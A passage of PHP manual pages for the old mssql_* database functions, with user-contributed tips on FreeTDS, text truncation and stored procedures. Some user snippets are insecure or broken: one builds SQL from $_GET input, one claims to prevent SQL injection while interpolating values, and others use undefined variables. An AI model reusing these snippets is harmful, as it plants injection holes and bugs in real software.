The code contains a genuine error, and if executed, may not run as expected. For example, a syntax error or a reference to a non-existent method will cause a Level 0 error.

Level 1:
The code is syntactically correct, and has some defined meaning, but it may not be what the programmer was expecting. For example, a statement with no side effects such as x+1 will generate a Level 1 warning.

Level 2:
The code is correct but may cause problems in the future. For example, using deprecated features will generate a Level 2 warning.

Level 3:
The code is correct but may result in bad performance. For example, if type inferencing fails for a variable, a Level 3 warning will be issued.

Level 4:
The code is correct but there may be a better way to accomplish the same thing. For example, using a non-Common Language Specification (CLS) compliant method signature will generate a Level 4 warning.
mssql_init
mssql_min_message_severity
Mssql Functions


Sets the minimum message severity

mssql_min_error_severity
mssql_next_result
Mssql Functions
PHP Manual

mssql_min_message_severity

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_min_message_severity — Sets the minimum message severity

Description

void mssql_min_message_severity ( int $severity )

Sets the minimum message severity.

Parameters

severity

The new message severity.

Return Values

No value is returned.

Examples

Example #1 mssql_min_message_severity() example

<?php
// Connect to MSSQL
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Set the minimum message severity to 17, this
// will not show any messages issued by the underlaying
// API when we select a non-existent database below
mssql_min_message_severity(17);

// Select a non-existent database
mssql_select_db('THIS_DATABASE_DOES_NOT_EXISTS');
?>

The above example will output:

mssql_select_db(): Unable to select database:  THIS_DATABASE_DOES_NOT_EXISTS

User Contributed Notes

jotaylor at hightechinstitute dot edu 28-Dec-2006 09:24
The Severity Codes are:

10 - Status Message:Does not raise an error but returns a string.
11, 12, 13 - Not Used
14 - Informational Message
15 - Warning Message
16 - Critical Error: The Procedure Failed
VGR at edainworks dot com 03-Jun-2004 10:53
very useful function to prevent the silly "message: blah blah blah" lines issued by the DB layer.

Just set the level to 17 and mssql_select_db() will (at last) leave you alone ;-)
mssql_min_error_severity
mssql_next_result
Mssql Functions


Move the internal result pointer to the next result

mssql_min_message_severity
mssql_num_fields
Mssql Functions
PHP Manual

mssql_next_result

(PHP 4 >= 4.0.5, PHP 5, PECL odbtp >= 1.1.1)

mssql_next_result — Move the internal result pointer to the next result

Description

bool mssql_next_result ( resource $result_id )

When sending more than one SQL statement to the server or executing a stored procedure with multiple results, it will cause the server to return multiple result sets. This function will test for additional results available form the server. If an additional result set exists it will free the existing result set and prepare to fetch the rows from the new result set.

Parameters

result_id

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns TRUE if an additional result set was available or FALSE otherwise.

Examples

Example #1 mssql_next_result() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Send a query to MSSQL
$sql = 'SELECT [name], [age] FROM [php].[dbo].[persons]';
$query = mssql_query($sql, $link);

// Iterate through returned records
do {
    while ($row = mssql_fetch_row($query)) {
        // Handle record ...
    }
} while (mssql_next_result($query));

// Clean up
mssql_free_result($query);
mssql_close($link);
?>

User Contributed Notes

il cartolaio 17-Nov-2010 01:47
As of today, this function is defined in FreeTDS (at least in the CVS version) and works perfectly with stored procedures.

Useful to avoid outer joins.
itsacon at itsacon dot net 26-Nov-2008 04:32
When retrieving multiple resultsets from a stored procedure, don't call mssql_free_statement on the statement resource, as any resultsets not yet retrieved will be lost, and mssql_next_result will report no more result sets were available.
mail_umesh at yahoo dot com 08-Dec-2003 05:40
you cant return multiple values from store proc but you can return multiple resultset, so you can use mssql_next_result()

eg..

    $stmt =  mssql_init("AuthLoginUser", $objDBH);
    mssql_bind($stmt,"@LoginUser",$LoginUser,SQLVARCHAR);
    mssql_bind($stmt,"@Password",$strNewPassword,SQLVARCHAR);
    mssql_bind($stmt,"@SessionId",$SessionId,SQLVARCHAR);
    //mssql_bind($stmt,"@ReturnVal",$ReturnVal,SQLVARCHAR,True);
    $rs=mssql_execute($stmt);

    do {
        while ($row = mssql_fetch_row($rs)) {
            echo "$row[0] -- $row[1]<BR>";
        }
    } while (mssql_next_result($rs));
    mssql_free_result($rs);
gagarin[at]i-dep.com 09-Dec-2002 08:39
It seems that mssql_next_result does not work with result sets returned by stored procedures.
m1tk4 at hotmail dot com 28-Jun-2002 08:43
This function does not exist as a Sybase (Sybase-CT) alias, so if you have PHP+FreeTDS||Sybase as a MSSQL client on Unix platform, it will not work.
mssql_min_message_severity
mssql_num_fields
Mssql Functions


Gets the number of fields in result

mssql_next_result
mssql_num_rows
Mssql Functions
PHP Manual

mssql_num_fields

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_num_fields — Gets the number of fields in result

Description

int mssql_num_fields ( resource $result )

mssql_num_fields() returns the number of fields in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns the number of fields, as an integer.

Examples

Example #1 mssql_num_fields() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Select some data from our database
$data = mssql_query('SELECT [name], [age] FROM [php].[dbo].[persons]');

// Construct a table
echo '<table border="1">';

$header = false;

// Iterate through returned results
while ($row = mssql_fetch_array($data)) {
    // Build the table header
    if (!$header) {
        echo '<thead>';
        echo '<tr>';

        for ($i = 1; ($i + 1) <= mssql_num_fields($data); ++$i) {
            echo '<td>' . ucfirst($row[$i]) . '</td>';
        }

        echo '</tr>';
        echo '</thead>';
        echo '<tbody>';

        $header = true;
    }

    // Build the row
    echo '<tr>';

    foreach($row as $value) {
        echo '<td>' . $value . '</td>';
    }

    echo '</tr>';
}

// Close table
echo '</tbody>';
echo '</table>';

// Clean up
mssql_free_result($data);
mssql_close($link);
?>

See Also

  • mssql_query() - Send MS SQL query
  • mssql_fetch_field() - Get field information
  • mssql_num_rows() - Gets the number of rows in result

User Contributed Notes

There are no user contributed notes for this page.
mssql_next_result
mssql_num_rows
Mssql Functions


Gets the number of rows in result

mssql_num_fields
mssql_pconnect
Mssql Functions
PHP Manual

mssql_num_rows

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_num_rows — Gets the number of rows in result

Description

int mssql_num_rows ( resource $result )

mssql_num_rows() returns the number of rows in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns the number of rows, as an integer.

Examples

Example #1 mssql_num_rows() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Select all our records from a table
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]');

echo 'Total records in database: ' . mssql_num_rows($query);

// Clean up
mssql_free_result($query);
?>

See Also

  • mssql_query() - Send MS SQL query
  • mssql_fetch_row() - Get row as enumerated array

User Contributed Notes

h dot schuemann at cyquest-ag dot de 13-Nov-2000 10:13
For getting something like "mssql_affected_rows" call:

<?php
$rsRows = mssql_query("select @@rowcount as rows", $db);
$rows = mssql_result($rsRows, 0, "rows");
?>

after execution of the query (UPDATE, INSERT or DELETE).
mssql_num_fields
mssql_pconnect
Mssql Functions


Open persistent MS SQL connection

mssql_num_rows
mssql_query
Mssql Functions
PHP Manual

mssql_pconnect

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_pconnect — Open persistent MS SQL connection

Description

resource mssql_pconnect ([ string $servername [, string $username [, string $password [, bool $new_link = false ]]]] )

mssql_pconnect() acts very much like mssql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mssql_close() will not close links established by mssql_pconnect()).

This type of links is therefore called 'persistent'.

Parameters

servername

The MS SQL server. It can also include a port number. e.g. hostname:port.

username

The username.

password

The password.

new_link

If a second call is made to mssql_pconnect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. This parameter modifies this behavior and makes mssql_pconnect() always open a new link, even if mssql_pconnect() was called before with the same parameters.

Return Values

Returns a positive MS SQL persistent link identifier on success, or FALSE on error.

Examples

Example #1 mssql_pconnect() using the new_link parameter

<?php
// Connect to MSSQL and select the database
$link1 = mssql_pconnect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link1);

// Create a new link
$link2 = mssql_pconnect('MANGO\SQLEXPRESS', 'sa', 'phpfi', true);
mssql_select_db('random', $link2);
?>

User Contributed Notes

php at burntpopcorn dot net 10-Mar-2004 06:17
Please note that mssql_pconnect creates a connection for the pool for *each process*. If you have "ThreadsPerChild" set to 50 in apache, and mssql.max_procs set to 25 in php, then eventually you will get mssql_pconnect failing to give you a connection to the database. This has stumped me for quite a while, and the answer finally presented itself thanks to the people in #php.
dave at dontspamme dot com 10-Feb-2004 02:32
If you are running PHP/Apache combination on a Windows machine that is part of a domain, using NT Authentication to connect to a MS SQL Server, you must to do the following things:

1) Turn NT Authentication On (under MSSQL in php.ini)
2) Configure the Apache service to run as the user that is authorized to access the MS SQL server.

Hope this helps save someone the time that it took me to track down!
m1tk4 at hotmail dot com 17-Jul-2002 09:08
Be careful with pconnect!

Platform: RH Linux 7.3, PHP 4.2.1. FreeTDS.

pconnect does give you better time than connect (about 0.25-0.4 seconds gain) BUT:

- occasionally, I've experienced "quirks" when fetch() would randomly return empty recordsets from stored procedurest that can_not return empty recordsets by definition.

- if you restart MSSQL server while some of the connections did not time out, next pconnect() will not establish a new connection! It will return an old one, so next time you do execute() or query() your script will just _hang_ until timeouted by Apache.

All of the above I believe are FreeTDS problems, not PHP. I wonder if somebody with PHP+Sybase lib got pconnect to work.
php at rawhide dot cjb dot net 12-Jul-2001 06:18
One should not that persistent connections are not persistent under a CGI interface.
mssql_num_rows
mssql_query
Mssql Functions


Send MS SQL query

mssql_pconnect
mssql_result
Mssql Functions
PHP Manual

mssql_query

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_query — Send MS SQL query

Description

mixed mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] )

mssql_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Parameters

query

An SQL query.

link_identifier

A MS SQL link identifier, returned by mssql_connect() or mssql_pconnect().

If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if mssql_connect() was called, and use it.

batch_size

The number of records to batch in the buffer.

Return Values

Returns a MS SQL result resource on success, TRUE if no rows were returned, or FALSE on error.

Examples

Example #1 mssql_query() example

<?php
// Connect to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

if (!$link || !mssql_select_db('php', $link)) {
    die('Unable to connect or select database!');
}

// Do a simple query, select the version of
// MSSQL and print it.
$version = mssql_query('SELECT @@VERSION');
$row = mssql_fetch_array($version);

echo $row[0];

// Clean up
mssql_free_result($version);
?>

Notes

Note:

If the query returns multiple results then it is necessary to fetch all results by mssql_next_result() or free the results by mssql_free_result() before executing next query.

See Also

  • mssql_select_db() - Select MS SQL database
  • mssql_connect() - Open MS SQL server connection

User Contributed Notes

Haprog 20-Dec-2011 08:10
In some cases when mssql_query() returns rows containing fields of type SMALLDATETIME or TIMESTAMP when the data is not NULL, PHP seems to enter some kind of error state where PHP no longer outputs anything to the browser. Not even data echoed before the query! DATETIME fields seem to work without this problem though.

When this happens, PHP doesn't give any errors even with error_reporting(-1), and no errors appear in Apache logfiles either.

There seems to be a workaround by explicitly calling flush() at the end of the skript.

In my case the problem occurred only when using some basic comparison operators for integer or string fields in a WHERE clause (eg. "WHERE id = 1000").

I discovered this behaviour on Ubuntu 11.10 (Linux 3.0.0-13-generic-pae), Apache 2.2.20, PHP 5.3.6-13ubuntu3.3 with Suhosin-Patch as Apache module, php5-mssql package using freetds
MSSQLNewbie 19-Sep-2011 01:34
Here are some things you might need to know:
1. Install mssql support for Debian (Lenny/Squeeze):
apt-get install php5-sybase

2. When you got this error message:
"Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier."

In /etc/freetds/freetds.conf add these two lines (last two):
[global]
;tds version = 4.2
tds version = 8.0
client charset = UTF-8

You can edit "charset" in php.ini too (but you don't need if you did it previously in freetds.conf):
; Specify client character set..
; If empty or not set the client charset from freetds.comf is used
; This is only used when compiled with FreeTDS
mssql.charset = "UTF-8"

3. Use nchar/nvarchar/ntext column types if you need unicode support.
vavra at 602 dot cz 30-Aug-2011 05:35
The scenario with adding SELECT SCOPE_IDENTITY after INSERT works. But in my a little bit complicated schema I got false when I called sqlsrv_fetch(.)

I modified reading SCOPE_IDENTITY as: "Read the last integer value obtained".

I suppose this is because I have several triggers that makes also insert after main insert call and sql server returns number of affected rows in Sql Management Studio). In php it returns only false when fetch called. So I must jump over all this 'false' rows.

<?php>
$resource = sqlsrv_query($con, 'INSERT....; SELECT SCOPE_IDENTITY()');

$scope_identity =null;
while ( sqlsrv_next_result($resource) )
{
        $fr = sqlsrv_fetch($resource);
        if ($fr===false)
       {
          continue;
        }

        $colval = sqlsrv_get_field($resource, 0, SQLSRV_PHPTYPE_INT);
        if (is_int($colval))
       {
          $scope_identity=$colval;
        }

}
<?>
Wilfur 04-Jun-2011 08:19
I had this problem upgrading to sqlsrv from mssql. In short, SCOPE_IDENTITY doesn't seem to work with sqlsrv correctly when using parameters. This isn't in fact the case, it just works differently.

To recap the problem:

Table 'test' definitely has an identity column id. However you can not do (apologies for pseudo-code):

<?php
doquery("INSERT INTO test (col1, col2) VALUES (?,?)", $parameters);
$lastId=doquery("SELECT SCOPE_IDENTITY()");
?>

because, under sqlsrv, these two queries are in different scopes, so there is nothing to return... However, this also doesn't work as expected:

<?php
$query = "INSERT INTO test (col1, col2) VALUES (?,?); SELECT SCOPE_IDENTITY()";
$arrParams[]="1";
$arrParams[]="2";
$resource=sqlsrv_query($conn, $query, $arrParams);
$arrRow = sqlsrv_fetch_array($resource, SQLSRV_FETCH_ASSOC);
echo $arrRow[0];
?>

Here you might expect to see the last insert id, but you see nothing. This is because the resource is currently pointing to the 'true' from the first query (the insert query) and so the insert id is 'hidden' in another row of the resource.

Solution.... set up as before, but then:

<?php
$resource=sqlsrv_query($conn, $query, $arrParams);
sqlsrv_next_result($resource);
sqlsrv_fetch($resource);
echo sqlsrv_get_field($resource, 0);
?>

This will give you what you want! This will work similarly with something like "INSERT INTO test (col1, col2) VALUES (?,?); SELECT * from test WHERE ID = SCOPE_IDENTITY()" and again you have to move through the resource to get at the data you want.

I hope this helps someone, since it's just wasted a good two hours of my time! Also, sorry for any errors in the code - I'm afraid I've written it off the top of my head, but hopefully you get the idea...
timo dot sand at ipss dot fi 30-Nov-2010 05:18
It would seem that this returns a resource even if the query is a SELECT which returns 0 rows.
alpa at 33oxclove dot com 02-Sep-2010 09:06
Hi All,
I was trying to insert PDF in MSSQL image datatype and had a worst time figuring out how to add PDF without encoding it with base64_encode. Encoding/decoding works best but it was conflicting with other existing PDFs in database as they weren't encoded.
The solution is to create hex string and the Trick is *NOT* to use quotes in query.

<?php
$FileName = $_FILES['pdffile']['tmp_name'];
$dataString = file_get_contents($FileName );
$arrData = unpack("H*hex", $dataString);
$hexdata = "0x".$arrData['hex'];
?>

Query:
$sql = "insert into docs(pdfname, pdfdoc) values('$pdfname', $hexdata)

Hope this helps to someone.... Cheerzz
ianknapton at hotmail dot com 07-Jul-2010 05:59
I have a mssql database with an ntext data type and was having problems as the cast solution data was still being truncated by php, i combined a couple of methods from here and elsewhere on the internet.

If you have are retrieving vast amounts of text from a SQL Server database into your website.

use SQl statements using cast e.g.
SELECT CAST(details as TEXT) from table

and in the php.ini file change these values in the [mssql] section, from 4096 to whatever size and limit, remember to remove the ; from the front of the ammended line

; Valid range 0 - 2147483647.  Default = 4096.
mssql.textlimit = 2147483647

; Valid range 0 - 2147483647.  Default = 4096.
mssql.textsize = 2147483647
sreekumar kv 12-May-2010 12:18
If text fields from mssql SELECT queries are truncated (at 4096 characters), even after using ,
<?php
ini_set ( 'mssql.textlimit' , '65536' );
ini_set ( 'mssql.textsize' , '65536' );
?>

make sure that the ini_set function is used before the connection to the database is established.
Anonymous 16-Feb-2010 01:37
Regarding the problems mentioned on here with the format that datetime columns are returned in. Running on debian lenny and used apt-get install php5-sybase to get access to these functions. After which datetime fields were returned as a string something like 'Feb 16 2010 09:14:10:010AM' which was not recognised when passed to e.g. new DateTime(). Also smalldatetime fields caused php to crash.

To fix I did this:

vi /etc/php5/apache2/php.ini
After this line:
;mssql.datetimeconvert = On
Add this line:
mssql.datetimeconvert = Off

Now both datetime and smalldatetime come back as something like '2010-02-16 09:14:00'.
TheronP 31-Jan-2010 05:44
To avoid SQL Injection, if you want to have multiple named parameters without writing stored procedures you can use built in stored procedure sp_executesql and mssql_query:

<?php
//Returns records with Id#46 or first name starting with 'Mary'

$server = '127.0.0.1';
$link = mssql_connect($server, 'sql_user', 'sql_user_pass');

//Select DB
$dbn = 'dbName';
mssql_select_db($dbn);

//input variables
$name='Mary%';
$id=46;

//necesssary for stored procedure
$params="@name varchar(50),@id int";
$paramslist="@name='$name%',@id='$id'";

$sql = "select FirstName,LastName,EmpId from employees where FirstName like  @name or EmpId = @id  " ;

$dbsql = "EXEC sp_executesql
          N'$sql',
          N'$params',
          $paramslist";

//important to have the "N'" !

$result=mssql_query($dbsql,$link);
?>

for more info on sp_executesql go here:
http://msdn.microsoft.com/en-us/library/ms188001.aspx

works on MSSQL 2000,2005,2008
dann dot farquhar at iteams dot org 25-Sep-2009 06:45
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library

I found that changing the version in /etc/freetds.conf from 4.2 to 8.0 fixes this problem without having to make any changes to the SELECT statement
thewiglaf at gmail dot com 13-May-2009 06:59
Note that although the documentations states that mssql_query will return "TRUE if no rows were returned", it will still return an empty resource identifier for SELECT statements that do not return any rows. This empty resource identifier will get dynamically typed as TRUE in a boolean context. Only for queries that do not actually return rows (eg. insert, update, or delete) will mssql_query return an actual boolean TRUE value.

We should use mssql_num_rows($resource) rather than $resource===TRUE for checking whether rows were returned.
sergio dot charrua at gmail dot com 11-Mar-2009 06:53
hello all!

here's a tip for those of you that, just like me, had some problems on how to get values from a call to a Stored Procedure that returns Multiple Recordsets.

<?php
conn = mssql_connect($server, $user, $pass, $db);
$sql ="EXEC WhateverSProcYouWant some_arguments";
$data = mssql_query( $sql, $conn);
$result = array();

do {
    while ($row = mssql_fetch_object($data)){
        $result[] = $row;
    }
}while ( mssql_next_result($data) );

mssql_close($conn);
?>

this will create 2 loops:
1 - which loops through all returned recordsets. mssql_next_result will step through each recordsets
2 - this inner-loop will return all rows, as objects, from current recordset and add each object to the $result array.

and that's it!

HTH, has i haven't found any info/docs related to multiple recordsets
orbex1 at gmail dot com 16-Jun-2008 05:16
Hopes this saves somebody the hassle I had to go through...
Was struggling with an M$sql database which was poorly designed (no Identity-colums), so I had to find a way to get the last id inserted...
Also struggled with the chars a while ;-)

$sql = "SELECT cast(AD_GUID as varchar(36)) FROM test_adres;";
//execute the SQL query and return records to find insertID
$result = mssql_query($sql) or die("MS-Query Error in select-query");
$max = (mssql_num_rows($result)-1);
mssql_data_seek($result, $max);
$row = mssql_fetch_row($result);
$insert_id = $row[0];

Hope this will help somebody in the future...
mikelasouris at yahoo dot com 02-May-2008 08:27
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library

solution:
try: select field from table, avoid "select * from table" php will scream at you. strangely after executing select field from table you'll be able to execute select * from table.

i'm using apache2, win XP, sqlexpress05
hpainter at gmail dot com 29-Apr-2008 08:05
I was tripped up by the fact that mssql_query() returns values for 'datetime' columns in an unusual format.   In order to get your values returned in the usual 'YYYY-MM-DD HH:MM:SS' format, you can use the CONVERT function in your query like so:

SELECT CONVERT(varchar, INVOICE_DATE, 121) AS INVOICE_DATE ...

where 'INVOICE_DATE' is the name of the 'datetime' column.  The available datetime conversion formats are listed here:

http://msdn2.microsoft.com/en-us/library/aa226054(SQL.80).aspx
bellina at uiuc dot edu 03-Dec-2007 12:32
After much fighting with my php5 installation and FreeTDS I figured out why my SELECT of an ntext field was truncating to a value.

This can be changed in the FreeTDS config file. Look for "text size"... this should be commented out. Uncomment it and set the value to something, this will let your ntext through.

Hope this helps
sbaetz at soscs dot net 07-Nov-2007 12:36
-- Phew -- I answered this myself...

The problem had NOTHING to do with mssql, or mysql for that matter.

For some reason when an image is held in a blob, and you want to display this within a browser, I found I had to do the following.

I had to create a mini-php page, that looks essentially like the following psuedo code...

<?php # mini.php

$id = $_GET['id'];
$q = "select image from table where id = $id";
$image = mssql_query($q);

header("content-type image/jpeg");
echo($image);
?>

and then include this snippet within the core display page like this:

<html>
blah blah..
<img src='mini.php&id=<?php print $targetid; ?>'>
</html>

and BANG! it worked...
mir eder 28-Aug-2007 03:37
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
Lance 25-Aug-2007 02:03
If you want to update a "text" field > 1,000 odd characters you must use WRITETEXT or UPDATETEXT.. how you ask:

function mssql_updatetext($db_name, $table_name, $field_name, $where, $text) {
    // assume mssql db link already created etc
    $str_pos=0;
    $buffer_len = 1024;
    mssql_query("EXEC sp_dboption '{$db_name}', 'select into/bulkcopy', 'true'");
    while ($str_pos < strlen($text)) {
        $buffer = str_replace("'", "''", substr($text, $str_pos, $buffer_len)); // escape buffer
        mssql_query("DECLARE @ptrval binary(16)

                     SELECT  @ptrval = TEXTPTR($field)
                     FROM    [$table]
                     WHERE   $where

                     UPDATETEXT [{$table}].$field @ptrval $str_pos NULL $buffer");
        $str_pos += $buffer_len;
    }
    mssql_query("EXEC sp_dboption '$db_name', 'select into/bulkcopy', 'false'");

    return true;
}

// test it using "pubs" > pub_info.pr_info
mssql_updatetext(
    $db_name='pubs',
    $table_name='pub_info',
    $field_name='pr_info',
    $where='pub_id = 9999',
    $text=str_repeat("This is a long bit of text \r\n", 1000)
);
pance -at- stratcom -dot- ca 24-Aug-2007 06:43
DATE FORMATS
Format #     Query (current date: 12/30/2006)     Sample
1     select convert(varchar, getdate(), 1)     12/30/06
2     select convert(varchar, getdate(), 2)     06.12.30
3     select convert(varchar, getdate(), 3)     30/12/06
4     select convert(varchar, getdate(), 4)     30.12.06
5     select convert(varchar, getdate(), 5)     30-12-06
6     select convert(varchar, getdate(), 6)     30 Dec 06
7     select convert(varchar, getdate(), 7)     Dec 30, 06
10     select convert(varchar, getdate(), 10)     12-30-06
11     select convert(varchar, getdate(), 11)     06/12/30
101     select convert(varchar, getdate(), 101)     12/30/2006
102     select convert(varchar, getdate(), 102)     2006.12.30
103     select convert(varchar, getdate(), 103)     30/12/2006
104     select convert(varchar, getdate(), 104)     30.12.2006
105     select convert(varchar, getdate(), 105)     30-12-2006
106     select convert(varchar, getdate(), 106)     30 Dec 2006
107     select convert(varchar, getdate(), 107)     Dec 30, 2006
110     select convert(varchar, getdate(), 110)     12-30-2006
111     select convert(varchar, getdate(), 111)     2006/12/30

TIME FORMATS
8 or 108     select convert(varchar, getdate(), 8)     00:38:54
9 or 109     select convert(varchar, getdate(), 9)     Dec 30 2006 12:38:54:840AM
14 or 114     select convert(varchar, getdate(), 14)     00:38:54:840
pance at stratcom dot ca 24-Aug-2007 06:22
DATE FORMATS
Format #     Query (current date: 12/30/2006)     Sample
1     select convert(varchar, getdate(), 1)     12/30/06
2     select convert(varchar, getdate(), 2)     06.12.30
3     select convert(varchar, getdate(), 3)     30/12/06
4     select convert(varchar, getdate(), 4)     30.12.06
5     select convert(varchar, getdate(), 5)     30-12-06
6     select convert(varchar, getdate(), 6)     30 Dec 06
7     select convert(varchar, getdate(), 7)     Dec 30, 06
10     select convert(varchar, getdate(), 10)     12-30-06
11     select convert(varchar, getdate(), 11)     06/12/30
101     select convert(varchar, getdate(), 101)     12/30/2006
102     select convert(varchar, getdate(), 102)     2006.12.30
103     select convert(varchar, getdate(), 103)     30/12/2006
104     select convert(varchar, getdate(), 104)     30.12.2006
105     select convert(varchar, getdate(), 105)     30-12-2006
106     select convert(varchar, getdate(), 106)     30 Dec 2006
107     select convert(varchar, getdate(), 107)     Dec 30, 2006
110     select convert(varchar, getdate(), 110)     12-30-2006
111     select convert(varchar, getdate(), 111)     2006/12/30

TIME FORMATS
8 or 108     select convert(varchar, getdate(), 8)     00:38:54
9 or 109     select convert(varchar, getdate(), 9)     Dec 30 2006 12:38:54:840AM
14 or 114     select convert(varchar, getdate(), 14)     00:38:54:840
andrei_mole at yahoo dot com 24-Apr-2007 03:10
if you have a query that returns results in mssql, but run from php using mssql_query doesn't, check if you have any nvarchar fields and convert them to text using:
convert(text,nvarchar_field).
muratyaman at gmail dot com 24-Jan-2007 10:57
It is annoying that MSSQL does not return proper error numbers.

For example: run a simple "INSERT INTO ..." query that will cause an error and see it.

All I get is:

Code:       HY000
Message: (below)

SQLSTATE[HY000]: General error: 10007 INSERT statement conflicted with COLUMN FOREIGN KEY constraint 'FK...'. The conflict occurred in database 'DB...', table 'TBL...', column 'COL...'. [10007] (severity 5) [INSERT INTO ... ]

'HY000' does not help me at all and same thing is returned for other errors as well. (I am not sure, but if 10007 is the number I am looking for, I do NOT want to parse the error messages. Then why do we have the notion of "err_code and err_message"?)

I think, running the following just after the 'failed' query may help:

$err = your_query_and_fetch_row_func ('select @@error');

Cheers!
Murat

P.S. Firebird rocks! ;)
php at digitalbacon dot us 29-Dec-2006 05:41
When using this function on Linux with the FreeTDS dblib driver, some system stored procedures can return NULL values. This is because Microsoft SQL Server also uses a Windows-specific variant type in addition to the standard SQL types... like VB & OLE variants. For example:

<?php

// this works fine on Windows (using ntwdblib.dll)
$r = mssql_query(
'SELECT SERVERPROPERTY(\'productversion\')'
);

// but, you might want to do this instead (for Linux portability)
$r = mssql_query(
'SELECT CAST(SERVERPROPERTY(\'productversion\') AS VARCHAR)'
);

?>
vollmer at ampache dot org 02-Oct-2006 08:52
You need to escape ' with '' in mssql, however while doing a large dataset migration I ran into an issue with \0 (NULL) in the strings breaking the query. I ended up writting the below small little function, I'm sure it could be done faster/better but it has served me well.

<?php
function sqlEscape($sql) {

        /* De MagicQuotes */
        $fix_str        = stripslashes($sql);
    $fix_str    = str_replace("'","''",$sql);
    $fix_str     = str_replace("\0","[NULL]",$fix_str);

    return $fix_str;

} // sqlEscape
?>
haakon 30-Sep-2006 02:09
>>> So, switch your data type to text if you wish to have lengths more than 256 characters

or use

$sql = "SELECT CONVERT(TEXT, FieldName) FROM Table"
patrick dot krecker at asu dot edu 15-Sep-2006 02:58
NOTE that the DB library that is internally driving these functions will NOT return more than 256 characters for data types varchar are char.  After SQL Server 7 they allowed for lengths of up to 8000, but never updated the library.  This drove me crazy for a day (all other connectivity worked from Java and C#, just not PHP).  So, switch your data type to text if you wish to have lengths more than 256 characters.

I believe this is not techinically considered a bug; I checked the bug reports section and all reports on this issue were closed with a message indicating this.
cuzco 31-Aug-2006 11:47
This one took me several days to figure out so I thought I'd post the solution to save others the hassle.

When using mssql_query with freetds inside a php class, you *MUST* include the "link_identifier" in the mssql_query() call otherwise all your queries will fail. This differs from MySQL where omitting the link identifier works without problem.

Here's an example class to illustrate the problem/solution

<?php
    class MSSQLDB
    {
        var $db_connection;

        // Constructor
        function __construct($inFreeTDSServerName, $inUser, $inPassword, $inDatabaseName)
        {
            $this->db_connection    = mssql_connect($inFreeTDSServerName, $inUser,$inPassword)
                        or die('Could not connect to '.$inFreeTDSServerName.' server');

            mssql_select_db($inDatabaseName)
                        or die('Could not select to '.$inDatabaseName.' database');
        }

        // Generic query function
        function query_database($inQuery)
        {
            // Always include the link identifier (in this case $this->db_connection) in mssql_query
            $query_result     = mssql_query($query, $this->db_connection)
                                                or die('Query failed: '.$query);

            if (strpos($inQuery, 'insert') === false)
            {
                // fetch the results as an array
                $result            = array();
                while ($row = mssql_fetch_object($query_result))
                {
                    $result[]    = $row;
                }

                // dispose of the query
                mssql_free_result($query_result);

                // return result
                return $result;
            }
            else
            {
                // dispose of the query
                mssql_free_result($query_result);

                // get the last insert id
                $query            = 'select SCOPE_IDENTITY() AS last_insert_id';
                $query_result     = mssql_query($query)
                                            or die('Query failed: '.$query);

                $query_result    = mssql_fetch_object($query_result);

                mssql_free_result($query_result);

                return $query_result->last_insert_id;
            }
        }
    }
?>

And to use the class with the following freetds.conf record

[SomeDatabaseServer]
    host = somedbserver.com
    port = 1433
    tds version = 8.0

<?php
    $db                = new MSSQLDB('SomeDatabaseServer', 'user', 'password', 'database');
    $query            = "select * from table";
    return $db->query_database($query);
?>
huberkev11 at hotmail dot com 12-May-2006 08:47
Solution for the following Error:

Warning: mssql_query() [function.mssql-query]: message: Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

This is because you are using column types of like ntext instead of text.  There are 2 solutions.

1.  Change all ntext column types to text or
2.  Your query must look like: SELECT CAST(field1 AS TEXT) AS field1 FROM table
taavi at mydomainhere dot com 18-Apr-2006 09:49
watch out for mssql.timeout configuration value - if you dealing with scripts that take long time to run (backup managment, dts jobs), it might just stop running query in the middle without giving any php or sql error.
km at mcminndigital dot com 18-Apr-2006 11:17
Another note for the archives:

If for some reason you aren't on a windows platform (using FreeTDS etc), or on a older windows platform and are having a hard time with unicode errors with ntext and images there are two things to do:

1) make sure you odbc drivers are up to date
 :: or ::
2) make sure to convert any ntext or image fields in your select. If you need an image from a select then you are stuck with upgrading your odbc drivers if you are getting unicode errors.

Use mssql_field_type to get your field types however you want.

SELECT [Name], [UserID], [SomeValue], convert(TEXT, [Description]) FROM [MyDB.[dbo].[MyTable];
14-Apr-2006 04:35
If you are having problems with truncated text fields from mssql queries (pe. at 4096 characters), try some of the following:

in php.ini:
